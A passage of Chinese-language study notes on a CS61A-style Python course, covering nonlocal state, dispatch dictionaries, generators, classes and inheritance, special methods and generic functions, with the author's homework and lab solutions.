\u0026#39;kiwis\u0026#39;], prices, 36) [3 apples][3 kiwis] [6 apples][2 kiwis] [9 apples][1 kiwi] \u0026#34;\u0026#34;\u0026#34; ans_count = 0 def add(fruits, amount, cart): nonlocal ans_count if not fruits: if amount == 0: for fruit, count in cart.items(): if count == 0: return ans_count += 1 if ans_count \u0026gt; 1: print() for fruit, count in cart.items(): if count == 1: s = fruit[:-1] else: s = fruit[:] print(\u0026#34;[\u0026#34; + str(count) + \u0026#34; \u0026#34; + s + \u0026#34;]\u0026#34;, end = \u0026#34;\u0026#34;) return fruit = fruits[0] price = prices[fruit] count = amount // price for index in range(count + 1): cart[fruit] = index add(fruits[1:], amount - price * index, cart) cart[fruit] = 0 cart = {fruit : 0 for fruit in fruits_to_buy} add(fruits_to_buy, total_amount, cart) 相对来说比较简单，能理解字典的工作原理即可。\n接着来hw04，稍微有点难度，考察对于Tree的理解。\n一个交错洗牌的函数，zip就是把两个list对应位置的元素合成一个tuple元组。\ndef shuffle(s): \u0026#34;\u0026#34;\u0026#34;Return a shuffled list that interleaves the two halves of s. \u0026gt;\u0026gt;\u0026gt; shuffle(range(6)) [0, 3, 1, 4, 2, 5] \u0026gt;\u0026gt;\u0026gt; letters = [\u0026#39;a\u0026#39;, \u0026#39;b\u0026#39;, \u0026#39;c\u0026#39;, \u0026#39;d\u0026#39;, \u0026#39;e\u0026#39;, \u0026#39;f\u0026#39;, \u0026#39;g\u0026#39;, \u0026#39;h\u0026#39;] \u0026gt;\u0026gt;\u0026gt; shuffle(letters) [\u0026#39;a\u0026#39;, \u0026#39;e\u0026#39;, \u0026#39;b\u0026#39;, \u0026#39;f\u0026#39;, \u0026#39;c\u0026#39;, \u0026#39;g\u0026#39;, \u0026#39;d\u0026#39;, \u0026#39;h\u0026#39;] \u0026gt;\u0026gt;\u0026gt; shuffle(shuffle(letters)) [\u0026#39;a\u0026#39;, \u0026#39;c\u0026#39;, \u0026#39;e\u0026#39;, \u0026#39;g\u0026#39;, \u0026#39;b\u0026#39;, \u0026#39;d\u0026#39;, \u0026#39;f\u0026#39;, \u0026#39;h\u0026#39;] \u0026gt;\u0026gt;\u0026gt; letters # Original list should not be modified [\u0026#39;a\u0026#39;, \u0026#39;b\u0026#39;, \u0026#39;c\u0026#39;, \u0026#39;d\u0026#39;, \u0026#39;e\u0026#39;, \u0026#39;f\u0026#39;, \u0026#39;g\u0026#39;, \u0026#39;h\u0026#39;] \u0026#34;\u0026#34;\u0026#34; assert len(s) % 2 == 0, \u0026#39;len(seq) must be even\u0026#39; \u0026#34;*** YOUR CODE HERE ***\u0026#34; # 交错洗牌 mid = len(s) // 2 list1 = s[:mid] list2 = s[mid:] res = [] for num1, num2 in zip(list1, list2): res.extend((num1, num2)) return res 接下来我们会接触大量概念性的东西。\n1.2.4.2局部状态 # ​\t列表和字典拥有局部状态（local state），即它们可以在程序执行过程中的某个时间点修改自身的值。状态（state）就意味着当前的值有可能发生变化。\n​\t函数也有状态，会改变状态的就不叫纯函数，很多coding中令人疑惑的错误就是没有理解函数状态的改变造成的，比如iterator迭代器。\n就是不要在迭代的过程中修改原来的序列。\n注意这里的nonlocal,一旦是非局部的，我们不会把这个balance的值和局部帧绑定起来。\nPython 中 nonlocal 声明的效果：当前执行帧之外的变量可以通过赋值语句更改。\n\u0026gt;\u0026gt;\u0026gt; def make_withdraw(balance): \u0026#34;\u0026#34;\u0026#34;返回一个每次调用都会减少 balance 的 withdraw 函数\u0026#34;\u0026#34;\u0026#34; def withdraw(amount): nonlocal balance # 声明 balance 是非局部的 if amount \u0026gt; balance: return \u0026#39;余额不足\u0026#39; balance = balance - amount # 重新绑定 return balance return withdraw ​\t通过引入非局部语句，我们为赋值语句创建了双重作用。他们可以更改局部绑定 (local bindings)，也可以更改非局部绑定 (nonlocal bindings)。事实上，赋值语句已经有了很多作用：它们可以创建新的变量，也可以为现有变量重新赋值。赋值也可以改变列表和字典的内容。Python 中赋值语句的多种作用可能会使执行赋值语句时的效果变得不太明显。作为程序员，我们有责任清楚地记录代码，以便其他人可以理解赋值的效果。\n那么有的时候，赋值语句高不清楚会让人很迷惑。\n​\tPython 特质 (Python Particulars)。这种非局部赋值模式是具有高阶函数和词法作用域的编程语言的普遍特征。大多数其他语言根本不需要非局部语句。相反，非局部赋值通常是赋值语句的默认行为。\n​\tPython 在变量名称查找方面也有一个不常见的限制：在一个函数体内，多次出现的同一个变量名必须处于同一个运行帧内。因此，Python 无法在非局部帧中查找某个变量名对应的值，然后在局部帧中为同样名称的变量赋值，因为同名变量会在同一函数的两个不同帧中被访问。此限制允许 Python 在执行函数体之前预先计算哪个帧包含哪个名称。当代码违反了这个限制时，程序会产生令人困惑的错误消息。\n​\t正确理解包含 nonlocal 声明的代码的关键是记住：只有函数调用才能引入新帧。赋值语句只能更改现有帧中的绑定关系。\n​\t相同与变化 (Sameness and change)。这些微妙之处的出现是因为，通过引入改变非局部环境的非纯函数，我们改变了表达式的性质。仅包含纯函数调用的表达式是引用透明 (referentially transparent) 的；即如果在函数中，用一个等于子表达式的值来替换子表达式，它的值不会改变。\n​\t重新绑定操作违反了引用透明的条件，因为它们不仅仅是返回一个值；他们还会在执行过程中改变运行环境。当我们引入任意的重新绑定时，我们遇到了一个棘手的认识论问题：两个值相同意味着什么。在我们的计算环境模型中，两个单独定义的函数是不同的，因为对一个函数的更改可能不会反映在另一个函数中。\n关于这样的操作，我们不能随便绑定和引入别名。\n1.2.5列表和字典实现 # 状态就意味着对象的存在。\n带状态的函数就是一个对象。\n\u0026gt;\u0026gt;\u0026gt; def mutable_link(): \u0026#34;\u0026#34;\u0026#34;返回一个可变链表的函数\u0026#34;\u0026#34;\u0026#34; contents = empty def dispatch(message, value=None): nonlocal contents if message == \u0026#39;len\u0026#39;: return len_link(contents) elif message == \u0026#39;getitem\u0026#39;: return getitem_link(contents, value) elif message == \u0026#39;push_first\u0026#39;: contents = link(value, contents) elif message == \u0026#39;pop_first\u0026#39;: f = first(contents) contents = rest(contents) return f elif message == \u0026#39;str\u0026#39;: return join_link(contents, \u0026#34;, \u0026#34;) return dispatch ​\tdispatch 函数是实现抽象数据消息传递接口的通用方法。为实现消息分发，到目前为止，我们使用条件语句将消息字符串与一组固定的已知消息进行比较。\n注意下面这样的实现方式，不用ifelse,直接把str和定义的函数名称绑定起来。\n而是使用字典，这就是调度字典。\u0026mdash;》避免使用了nonlocal定义。\ndef account(initial_balance): def deposit(amount): dispatch[\u0026#39;balance\u0026#39;] += amount return dispatch[\u0026#39;balance\u0026#39;] def withdraw(amount): if amount \u0026gt; dispatch[\u0026#39;balance\u0026#39;]: return \u0026#39;Insufficient funds\u0026#39; dispatch[\u0026#39;balance\u0026#39;] -= amount return dispatch[\u0026#39;balance\u0026#39;] dispatch = {\u0026#39;deposit\u0026#39;: deposit, \u0026#39;withdraw\u0026#39;: withdraw, \u0026#39;balance\u0026#39;: initial_balance} return dispatch def withdraw(account, amount): return account[\u0026#39;withdraw\u0026#39;](amount) def deposit(account, amount): return account[\u0026#39;deposit\u0026#39;](amount) def check_balance(account): return account[\u0026#39;balance\u0026#39;] a = account(20) deposit(a, 5) withdraw(a, 17) check_balance(a) 1.2.6约束传递 (Propagating Constraints) # ​\t传统的计算机计算是单向的，但是如果要计算p * v = n * k * t这样的一个对象，我们要怎么处理。\n​\t比较复杂，但是简单来说还是一种编程方式，一种参数网络，更改其中的参数会对于网络中的其余部分产生影响。\n我们来做lab05。\n关于对象的引用\nis\t是判断同一个对象。\n==\t判断内容是否相同。\n理解这个过程中在干什么？\n\u0026gt;\u0026gt;\u0026gt; s = [3,4,5] \u0026gt;\u0026gt;\u0026gt; s.extend([s.append(9), s.append(10)]) \u0026gt;\u0026gt;\u0026gt; s [3, 4, 5, 9, 10, None, None] ​\t然后是iter()函数，关于序列的迭代器的讨论。\n​\t这个lab要对于上面提到的概念非常熟悉。\n​\t简单的示例代码，我把代码放在这里是为了当我看到的时候，知道该怎么使用和要注意些什么东西。\ngrouped = {} for x in s: key = fn(x) if key in grouped: grouped[key].append(x) else: grouped[key] = [x] return grouped 利用强大的切片功能。\ndef partial_reverse(s, start): \u0026#34;\u0026#34;\u0026#34;Reverse part of a list in-place, starting with start up to the end of the list. \u0026gt;\u0026gt;\u0026gt; a = [1, 2, 3, 4, 5, 6, 7] \u0026gt;\u0026gt;\u0026gt; partial_reverse(a, 2) \u0026gt;\u0026gt;\u0026gt; a [1, 2, 7, 6, 5, 4, 3] \u0026gt;\u0026gt;\u0026gt; partial_reverse(a, 5) \u0026gt;\u0026gt;\u0026gt; a [1, 2, 7, 6, 5, 3, 4] \u0026#34;\u0026#34;\u0026#34; \u0026#34;*** YOUR CODE HERE ***\u0026#34; s[start:] = s[start:][::-1] 接下来做homework05的内容。\n这里是使用关键字yield来生成数字：处理任务调度，复杂迭代，超大文件等等。\n你可以直接理解成一个可以自定义行为的迭代器。\ndef hailstone(n): \u0026#34;\u0026#34;\u0026#34; Yields the elements of the hailstone sequence starting at n. At the end of the sequence, yield 1 infinitely. \u0026gt;\u0026gt;\u0026gt; hail_gen = hailstone(10) \u0026gt;\u0026gt;\u0026gt; [next(hail_gen) for _ in range(10)] [10, 5, 16, 8, 4, 2, 1, 1, 1, 1] \u0026gt;\u0026gt;\u0026gt; next(hail_gen) 1 \u0026#34;\u0026#34;\u0026#34; \u0026#34;*** YOUR CODE HERE ***\u0026#34; # 返回一个长度为n的数组的迭代器,怎么做到一直返回1？ # 使用yield关键字进行生成：暂时返回，懒惰生成数据。 while n != 1: yield n if n % 2 == 1: n = 3 * n + 1 else: n = n // 2 while True: yield 1 虽然是简单的爬楼梯问题，但是还是需要思考。\n主要是要理解生成器迭代时候的行为。\ndef stair_ways(n): \u0026#34;\u0026#34;\u0026#34; Yield all the ways to climb a set of n stairs taking 1 or 2 steps at a time. \u0026gt;\u0026gt;\u0026gt; list(stair_ways(0)) [[]] \u0026gt;\u0026gt;\u0026gt; s_w = stair_ways(4) \u0026gt;\u0026gt;\u0026gt; sorted([next(s_w) for _ in range(5)]) [[1, 1, 1, 1], [1, 1, 2], [1, 2, 1], [2, 1, 1], [2, 2]] \u0026gt;\u0026gt;\u0026gt; list(s_w) # Ensure you\u0026#39;re not yielding extra [] \u0026#34;\u0026#34;\u0026#34; \u0026#34;*** YOUR CODE HERE ***\u0026#34; # 虽然是简单的问题，当涉及到生成器的时候，我们就从生成器的行为上来考虑 if n == 0: yield [] elif n \u0026gt; 0: for way in stair_ways(n - 1): yield [1] + way for way in stair_ways(n - 2): yield [2] + way 1.2.7面向对象编程 OOP # ​\t关于py的OOP部分，我一直关于这个不是很理解，在此之前我已经接触了Java和Cpp的OOP部分，我认为想要学明白OOP,一定要在工程实践中才能理解透彻。再多的理论都很难让人理解具体的用法和为什么要这样使用，设计模式这样的东西也是一样，总之我们来看一看。\n1.2.7.1对象和类 # 类是模板，对象是初始化的实例。\n对象具有方法和属性。\n1.2.7.2类的定义 # class \u0026lt;name\u0026gt;: \u0026lt;suite\u0026gt; 基本概念。\n构造函数：\n\u0026gt;\u0026gt;\u0026gt; class Account: def __init__(self, account_holder): self.balance = 0 self.holder = account_holder ​\t一般来说，我们使用参数名称 self 作为构造函数的第一个参数，它会自动绑定到正在实例化的对象。几乎所有的 Python 代码都遵守这个规定。这就类似于Java中的this，注意py中的语法。\n对象的独立性。\n\u0026gt;\u0026gt;\u0026gt; a is a True \u0026gt;\u0026gt;\u0026gt; a is not b True 我们怎么定义方法：\n\u0026gt;\u0026gt;\u0026gt; class Account: # 构造函数 def __init__(self, account_holder): self.balance = 0 self.holder = account_holder def deposit(self, amount): self.balance = self.balance + amount return self.balance def withdraw(self, amount): if amount \u0026gt; self.balance: return \u0026#39;Insufficient funds\u0026#39; self.balance = self.balance - amount return self.balance ​\t为了使用点表达式，我们的方法都要使用self首参：每个方法都包含着一个特殊的首参 self ，该参数绑定调用该方法的对象。例如，假设在特定的 Account 对象上调用 deposit 并传递单个参数：存入的金额。对象本身就被绑定到 self ，而传入的参数绑定到 amount 。所有调用的方法都可以通过 self 参数来访问对象，因此它们都可以访问和操作对象的状态。\n1.2.7.3消息传递和点表达式 # ​\t方法和函数：在对象上调用方法时，该对象将作为第一个参数隐式传递给该方法。也就是说，点左侧的 \u0026lt;expression\u0026gt; 值的对象将自动作为第一个参数传递给点表达式右侧命名的方法。因此，对象绑定到参数 self。\n​\t为了实现自动 self 绑定，Python 区分了我们从文本开头就一直在创建的函数和绑定方法，它们将函数和将调用该方法的对象耦合在一起。绑定方法值已与其第一个参数（调用它的实例）相关联，在调用该方法时将命名为 self。\n​\t作为一个类的属性，这是一个函数，但是作为一个实例的属性，这是一个方法（自动绑定的）。\n\u0026gt;\u0026gt;\u0026gt; type(Account.deposit) \u0026lt;class \u0026#39;Function\u0026#39;\u0026gt; \u0026gt;\u0026gt;\u0026gt; type(spock_account.deposit) \u0026lt;class \u0026#39;method\u0026#39;\u0026gt; ​\t这两个结果的区别仅在于第一个是参数为 self 和 amount 的标准双参数函数。第二种是单参数方法，调用方法时，名称 self 将自动绑定到名为 spock_account 的对象，而参数 amount 将绑定到传递给方法的参数。这两个值（无论是函数值还是绑定方法值）都与相同的 deposit 函数体相关联。\n​\t那么我们就可以这样使用方法。\n\u0026gt;\u0026gt;\u0026gt; Account.deposit(spock_account, 1001) # 函数 deposit 接受两个参数 1011 \u0026gt;\u0026gt;\u0026gt; spock_account.deposit(1000) # 方法 deposit 接受一个参数 2011 ​\t命名约定：类名通常使用 CapWords 约定（也称为 CamelCase，因为名称中间的大写字母看起来像驼峰）编写。方法名称遵循使用下划线分隔的小写单词命名函数的标准约定。\n​\t在某些情况下，有一些实例变量和方法与对象的维护和一致性相关，我们不希望对象的用户看到或使用。它们不是类定义的抽象的一部分，而是实现的一部分。Python 的约定规定，如果属性名称以下划线开头，则只能在类本身的方法中访问它，而不是用户访问。（这就是私有的方法）\n1.2.7.4类属性 # 就是静态变量，可以认为是共有的。\n\u0026gt;\u0026gt;\u0026gt; class Account: interest = 0.02 # 类属性 def __init__(self, account_holder): self.balance = 0 self.holder = account_holder # 在这里定义更多的方法 如果同名，我们优先考虑实例的属性，接着再考虑类属性：\n点表达式左侧的 \u0026lt;expression\u0026gt; ，生成点表达式的对象。 \u0026lt;name\u0026gt; 与该对象的实例属性匹配；如果存在具有该名称的属性，则返回属性值。 如果实例属性中没有 \u0026lt;name\u0026gt; ，则在类中查找 \u0026lt;name\u0026gt;，生成类属性。 除非它是函数，否则返回属性值。如果是函数，则返回该名称绑定的方法。 1.2.7.5继承 # ​\t在面向对象编程范式中，我们经常会发现不同类型之间存在关联，尤其是在类的专业化程度上。即使两个类具有相似的属性，它们的特殊性也可能不同，为了实现逻辑上相同的类之间的差异性。\n​\tCheckingAccount 是 Account 的特化。在 OOP 术语中，通用帐户将用作 CheckingAccount 的基类，而 CheckingAccount 将用作 Account 的子类。术语基类（base class）也常叫父类（parent class）和超类（superclass），而子类（subclass）也叫孩子类（child class）。\n我们怎么从基类做继承的操作：\n\u0026gt;\u0026gt;\u0026gt; class Account: \u0026#34;\u0026#34;\u0026#34;一个余额非零的账户。\u0026#34;\u0026#34;\u0026#34; interest = 0.02 def __init__(self, account_holder): self.balance = 0 self.holder = account_holder def deposit(self, amount): \u0026#34;\u0026#34;\u0026#34;存入账户 amount，并返回变化后的余额\u0026#34;\u0026#34;\u0026#34; self.balance = self.balance + amount return self.balance def withdraw(self, amount): \u0026#34;\u0026#34;\u0026#34;从账号中取出 amount，并返回变化后的余额\u0026#34;\u0026#34;\u0026#34; if amount \u0026gt; self.balance: return \u0026#39;Insufficient funds\u0026#39; self.balance = self.balance - amount return self.balance \u0026gt;\u0026gt;\u0026gt; class CheckingAccount(Account): \u0026#34;\u0026#34;\u0026#34;从账号取钱会扣出手续费的账号\u0026#34;\u0026#34;\u0026#34; withdraw_charge = 1 interest = 0.01 def withdraw(self, amount): return Account.withdraw(self, amount + self.withdraw_charge) 对于基类的方法进行重写。\n关于多重继承：\n\u0026gt;\u0026gt;\u0026gt; class SavingsAccount(Account): deposit_charge = 2 def deposit(self, amount): return Account.deposit(self, amount - self.deposit_charge) 同时继承两个基类，当我们使用这个类的方法的时候，它自动就会使用两个基类中重写的方法。\n\u0026gt;\u0026gt;\u0026gt; class AsSeenOnTVAccount(CheckingAccount, SavingsAccount): def __init__(self, account_holder): self.holder = account_holder self.balance = 1 # 赠送的 1 $! 那么重名？有具体的方法解析的顺序。\n1.2.7.6对象的作用 # ​\t多范式语言，如 Python，允许程序员将组织范式与适当的问题相匹配。学会识别何时引入新类，而不是新函数，以简化或模块化程序，是软件工程中一项重要的设计技能，值得认真关注。\n​\t接下来是lab06,关于OOP的基本概念。\nclass Mint: \u0026#34;\u0026#34;\u0026#34;A mint creates coins by stamping on years. The update method sets the mint\u0026#39;s stamp to Mint.present_year. \u0026gt;\u0026gt;\u0026gt; mint = Mint() \u0026gt;\u0026gt;\u0026gt; mint.year 2024 \u0026gt;\u0026gt;\u0026gt; dime = mint.create(Dime) \u0026gt;\u0026gt;\u0026gt; dime.year 2024 \u0026gt;\u0026gt;\u0026gt; Mint.present_year = 2104 # Time passes \u0026gt;\u0026gt;\u0026gt; nickel = mint.create(Nickel) \u0026gt;\u0026gt;\u0026gt; nickel.year # The mint has not updated its stamp yet 2024 \u0026gt;\u0026gt;\u0026gt; nickel.worth() # 5 cents + (80 - 50 years) 35 \u0026gt;\u0026gt;\u0026gt; mint.update() # The mint\u0026#39;s year is updated to 2104 \u0026gt;\u0026gt;\u0026gt; Mint.present_year = 2179 # More time passes \u0026gt;\u0026gt;\u0026gt; mint.create(Dime).worth() # 10 cents + (75 - 50 years) 35 \u0026gt;\u0026gt;\u0026gt; Mint().create(Dime).worth() # A new mint has the current year 10 \u0026gt;\u0026gt;\u0026gt; dime.worth() # 10 cents + (155 - 50 years) 115 \u0026gt;\u0026gt;\u0026gt; Dime.cents = 20 # Upgrade all dimes! \u0026gt;\u0026gt;\u0026gt; dime.worth() # 20 cents + (155 - 50 years) 125 \u0026#34;\u0026#34;\u0026#34; present_year = 2024 def __init__(self): self.update() def create(self, coin): \u0026#34;*** YOUR CODE HERE ***\u0026#34; return coin(self.year) def update(self): \u0026#34;*** YOUR CODE HERE ***\u0026#34; self.year = Mint.present_year class Coin: cents = None # will be provided by subclasses, but not by Coin itself def __init__(self, year): self.year = year def worth(self): \u0026#34;*** YOUR CODE HERE ***\u0026#34; if Mint.present_year - self.year - 50 \u0026gt; 0: return self.cents + Mint.present_year - self.year - 50 else: return self.cents class Nickel(Coin): cents = 5 class Dime(Coin): cents = 10 ​\t比较简单的关于继承的逻辑，只有几行代码，但是一定要搞清楚在干嘛。\n接下来我们做pro中的cats部分。\n有点意思，测试打字速度并且有自动纠错的功能。\n还要实现多个玩家的功能。\nPoint breakdown Problem 1: 1.0/1 Problem 2: 1.0/1 Problem 3: 2.0/2 Problem 4: 1.0/1 Problem 5: 2.0/2 Problem 6: 3.0/3 Problem 7: 3.0/3 Problem 8: 2.0/2 Problem 9: 1.0/1 Problem 10: 3.0/3 Score: Total: 19.0 ​\tok,那么也是拿下了，整体也不难，主要就是有一个编辑距离的问题和熟悉基本的语法。\n不做附加问题了，主要就是装饰器，memo优化的内容，来不及了。\n​\t接下来我们先把第二章的内容看完。再去做作业之类的。\n1.2.8实现类和对象 # ​\t用字典可以实现,并且函数可以实现一切.\n​\t有点抽象,总之就是使用调度字段来实现功能.\n1.2.9对象抽象 # 1.2.9.1字符串转换 # 抽象数据描述\u0026mdash;\u0026gt;泛型函数\npy对于一个原始值的字符串表示:\n\u0026gt;\u0026gt;\u0026gt; 12e12 12000000000000.0 \u0026gt;\u0026gt;\u0026gt; print(repr(12e12)) 12000000000000.0 如果没有这个原始值,就是一个尖括号的字符串描述:\n\u0026gt;\u0026gt;\u0026gt; repr(min) \u0026#39;\u0026lt;built-in function min\u0026gt;\u0026#39; str构造器不相同的地方:\n\u0026gt;\u0026gt;\u0026gt; from datetime import date \u0026gt;\u0026gt;\u0026gt; tues = date(2011, 9, 12) \u0026gt;\u0026gt;\u0026gt; repr(tues) \u0026#39;datetime.date(2011, 9, 12)\u0026#39; \u0026gt;\u0026gt;\u0026gt; str(tues) \u0026#39;2011-09-12\u0026#39; ​\t定义 repr 函数带来了一个新的挑战：我们想要它正确地应用于所有的数据类型，即使是那些实现 repr 时还不存在的类型。我们希望它是一个通用的或者多态（polymorphic）的函数，可以被应用于数据的多种（多）不同形式（态）。\n​\t在这情况下，对象系统提供了一种优雅的解决方案：repr 函数总是在其参数值上调用一个名为 __repr__ 的方法。\n\u0026gt;\u0026gt;\u0026gt; tues.__repr__() \u0026#39;datetime.date(2011, 9, 12)\u0026#39; ​\t通过在用户定义类中实现这个相同的方法，我们可以将 repr 函数的适用范围扩展到将来我们创建的任何类。这个例子突出了点表达式的另一个优势，那就是它们提供了一种机制，可以把现有的函数的作用域扩展到新的对象类型。\n1.2.9.2专用方法 # ​\t在 Python 中，某些特殊名称会在特殊情况下被 Python 解释器调用。例如，类的 __init__ 方法会在对象被创建时自动调用。__str__ 方法会在打印时自动调用，__repr__ 方法会在交互式环境显示其值的时候自动调用。\n​\t这就是\u0026quot;专用\u0026quot;.\n​\t一般任务一个对象是True,但是可以定义__bool__,当我们想按照自己的逻辑判断真假的时候,就会自动调用这个函数.\n\u0026gt;\u0026gt;\u0026gt; Account.__bool__ = lambda self: self.balance != 0 \u0026gt;\u0026gt;\u0026gt; bool(Account(\u0026#39;Jack\u0026#39;)) False \u0026gt;\u0026gt;\u0026gt; if not Account(\u0026#39;Jack\u0026#39;): print(\u0026#39;Jack has nothing\u0026#39;) Jack has nothing 比如len:\n\u0026gt;\u0026gt;\u0026gt; len(\u0026#39;Go Bears!\u0026#39;) 9 实际上是因为所有序列的内置类型都设置了__len__的方法:\n\u0026gt;\u0026gt;\u0026gt; \u0026#39;Go Bears!\u0026#39;.__len__() 9 __getitem__ 方法由元素选择操作符调用，但也可以直接调用它。\n\u0026gt;\u0026gt;\u0026gt; \u0026#39;Go Bears!\u0026#39;[3] \u0026#39;B\u0026#39; \u0026gt;\u0026gt;\u0026gt; \u0026#39;Go Bears!\u0026#39;.__getitem__(3) \u0026#39;B\u0026#39; 考虑这个高阶函数:\n\u0026gt;\u0026gt;\u0026gt; def make_adder(n): def adder(k): return n + k return adder \u0026gt;\u0026gt;\u0026gt; add_three = make_adder(3) \u0026gt;\u0026gt;\u0026gt; add_three(4) 7 可以定义一个类,看起来就像是一个高阶函数,利用__call__方法:\n\u0026gt;\u0026gt;\u0026gt; class Adder(object): def __init__(self, n): self.n = n def __call__(self, k): return self.n + k \u0026gt;\u0026gt;\u0026gt; add_three_obj = Adder(3)\t# 创建一个对象的时候会调用__call__方法 \u0026gt;\u0026gt;\u0026gt; add_three_obj(4) 7 ​\t算术运算。特定的方法也可以定义应用在用户定义的对象上的内置操作符的行为。为了提供这种通用性，Python 遵循特定的协议来应用每个操作符。例如，为了计算包含 + 操作符的表达式，Python 会检查操作符左右两侧的运算对象上是否有特定的方法。首先 Python 在左侧运算对象上检查其是否有 __add__ 方法，然后在右侧运算对象上检查其是否有 __radd__ 方法。如果找到了其中一个方法，就会将另一个运算对象的值作为它的参数来调用这个方法。\n1.2.9.3多重表示 # ​\t对于一个相同的数据对象,在不同的场景下我们可能想使用不同的表示方法,比如复数.\n​\t实现的逻辑是自顶向下的.\n比如实现复数系统,这是一个超类:\n\u0026gt;\u0026gt;\u0026gt; class Number: def __add__(self, other): return self.add(other) def __mul__(self, other): return self.mul(other) 这是复数,具体来实现add和mul的逻辑:\n\u0026gt;\u0026gt;\u0026gt; class Complex(Number): def add(self, other): return ComplexRI(self.real + other.real, self.imag + other.imag) def mul(self, other): magnitude = self.magnitude * other.magnitude return ComplexMA(magnitude, self.angle + other.angle) 这个实现假定存在两个表示复数的类，分别对应他们的两种自然表示形式。\nComplexRI 使用实部和虚部构建一个复数。 ComplexMA 使用幅度和角度构建一个复数。 ​\t我们怎么保证多重属性之间是共通的,比如实部和虚部发生变化的时候,对应的弧度和幅值也会发生相应的变化.\n​\tPython 有一种简单的计算属性的特性，可以通过零参数函数实时的计算属性。@property 修饰符允许函数在没有调用表达式语法（表达式后跟随圆括号）的情况下被调用。Complex 类存储了 real 和 imag 属性并在需要时计算 magnitude 和 angle 属性。\n实际上这是一种计算出来的属性:\n\u0026gt;\u0026gt;\u0026gt; from math import atan2 \u0026gt;\u0026gt;\u0026gt; class ComplexRI(Complex): def __init__(self, real, imag): self.real = real self.imag = imag @property def magnitude(self): return (self.real ** 2 + self.imag ** 2) ** 0.5 @property def angle(self): return atan2(self.imag, self.real) def __repr__(self): return \u0026#39;ComplexRI({0:g}, {1:g})\u0026#39;.format(self.real, self.imag) 调用的时候:\n\u0026gt;\u0026gt;\u0026gt; ri = ComplexRI(5, 12) \u0026gt;\u0026gt;\u0026gt; ri.real 5 \u0026gt;\u0026gt;\u0026gt; ri.magnitude 13.0 \u0026gt;\u0026gt;\u0026gt; ri.real = 9 \u0026gt;\u0026gt;\u0026gt; ri.real 9 \u0026gt;\u0026gt;\u0026gt; ri.magnitude 15.0 ​\t@property是用本身的属性在调用的时候可以进行零参数的实时计算,他并没有改变什么具有状态的值.\n​\t实际上我认为这并没有达到我想象中的效果,因为本质上还是持有不同的类.\n​\t使用接口来编码多重表示具有十分吸引人的特点。每一种表示形式的类都可以被单独开发；它们只需要就它们共享的属性名称和和对于这些属性的行为条件达成一致。接口还具有可添加性。如果程序员想要添加一个复数的第三方表现形式到同一个程序中，他们只需要创建一个拥有相同属性名称的类即可。\n但是一定要约定相同的转换方式,但是如果有三个或者多个表示形式的时候,这样的表示方式还合适么?\n1.2.9.4泛型函数 # ​\t我们上面的Complex.add的方法就是一个泛型的函数,因为可以接受两个类类型的参数.\n​\t使用接口和消息传递只是多种可以被用于实现泛型函数的方法中的一种。在本节我们将会考虑另外两个方法：类型派发和类型强制转换。\n比如我们加上一个Rational类来实现Number:\n\u0026gt;\u0026gt;\u0026gt; from fractions import gcd \u0026gt;\u0026gt;\u0026gt; class Rational(Number): def __init__(self, numer, denom): g = gcd(numer, denom) self.numer = numer // g self.denom = denom // g def __repr__(self): return \u0026#39;Rational({0}, {1})\u0026#39;.format(self.numer, self.denom) def add(self, other): nx, dx = self.numer, self.denom ny, dy = other.numer, other.denom return Rational(nx * dy + ny * dx, dx * dy) def mul(self, other): numer = self.numer * other.numer denom = self.denom * other.denom return Rational(numer, denom) 这实现了分数的add和mul.\n那么可以实现的是:\n\u0026gt;\u0026gt;\u0026gt; Rational(2, 5) + Rational(1, 10) Rational(1, 2) \u0026gt;\u0026gt;\u0026gt; Rational(1, 4) * Rational(2, 3) Rational(1, 6) 但是我们想让分数和复数进行加减,虽然数学上有定义,但是现在暂时还是不支持.\n​\t类型派发。一种实现跨类型操作的方式是选择基于函数或方法的参数类型来选择相应的行为。类型派发的思想是写一个能够检查它所收到的参数的类型的函数，然后根据参数类型执行恰当的代码。\n根据不同类型采取不同的行为.\n​\t内置的函数 isinstance 接受一个对象或一个类。如果对象的类是所给的类或者继承自所给的类，它会返回一个真值。\u0026mdash;\u0026gt;判断是否是对象的一个实例.\n\u0026gt;\u0026gt;\u0026gt; c = ComplexRI(1, 1) \u0026gt;\u0026gt;\u0026gt; isinstance(c, ComplexRI) True \u0026gt;\u0026gt;\u0026gt; isinstance(c, Complex) True \u0026gt;\u0026gt;\u0026gt; isinstance(c, ComplexMA) False 用isinstance就能针对不同的类型采取不同的行为:\n\u0026gt;\u0026gt;\u0026gt; def is_real(c): \u0026#34;\u0026#34;\u0026#34;Return whether c is a real number with no imaginary part.\u0026#34;\u0026#34;\u0026#34; if isinstance(c, ComplexRI): return c.imag == 0 elif isinstance(c, ComplexMA): return c.angle % pi == 0 \u0026gt;\u0026gt;\u0026gt; is_real(ComplexRI(1, 1)) False \u0026gt;\u0026gt;\u0026gt; is_real(ComplexMA(2, pi)) True 我们还可以使用一种属性来确定是否相同:\n\u0026gt;\u0026gt;\u0026gt; def is_real(c): \u0026#34;\u0026#34;\u0026#34;Return whether c is a real number with no imaginary part.\u0026#34;\u0026#34;\u0026#34; if isinstance(c, ComplexRI): return c.imag == 0 elif isinstance(c, ComplexMA): return c.angle % pi == 0 \u0026gt;\u0026gt;\u0026gt; is_real(ComplexRI(1, 1)) False \u0026gt;\u0026gt;\u0026gt; is_real(ComplexMA(2, pi)) True 那就可以写这样一个函数:\n\u0026gt;\u0026gt;\u0026gt; def add_complex_and_rational(c, r): return ComplexRI(c.real + r.numer/r.denom, c.imag) 然后:\n\u0026gt;\u0026gt;\u0026gt; def mul_complex_and_rational(c, r): r_magnitude, r_angle = r.numer/r.denom, 0 if r_magnitude \u0026lt; 0: r_magnitude, r_angle = -r_magnitude, pi return ComplexMA(c.magnitude * r_magnitude, c.angle + r_angle) add和mul基本定义,然后交换顺序:\n\u0026gt;\u0026gt;\u0026gt; def add_rational_and_complex(r, c): return add_complex_and_rational(c, r) \u0026gt;\u0026gt;\u0026gt; def mul_rational_and_complex(r, c): return mul_complex_and_rational(c, r) 这样看起来是否很臃肿,接下来我们实现类型派发:(更改的是超类Number)\n\u0026gt;\u0026gt;\u0026gt; class Number: def __add__(self, other): if self.type_tag == other.type_tag: return self.add(other) elif (self.type_tag, other.type_tag) in self.adders: return self.cross_apply(other, self.adders) def __mul__(self, other): if self.type_tag == other.type_tag: return self.mul(other) elif (self.type_tag, other.type_tag) in self.multipliers: return self.cross_apply(other, self.multipliers) def cross_apply(self, other, cross_fns): cross_fn = cross_fns[(self.type_tag, other.type_tag)] return cross_fn(self, other) adders = {(\u0026#34;com\u0026#34;, \u0026#34;rat\u0026#34;): 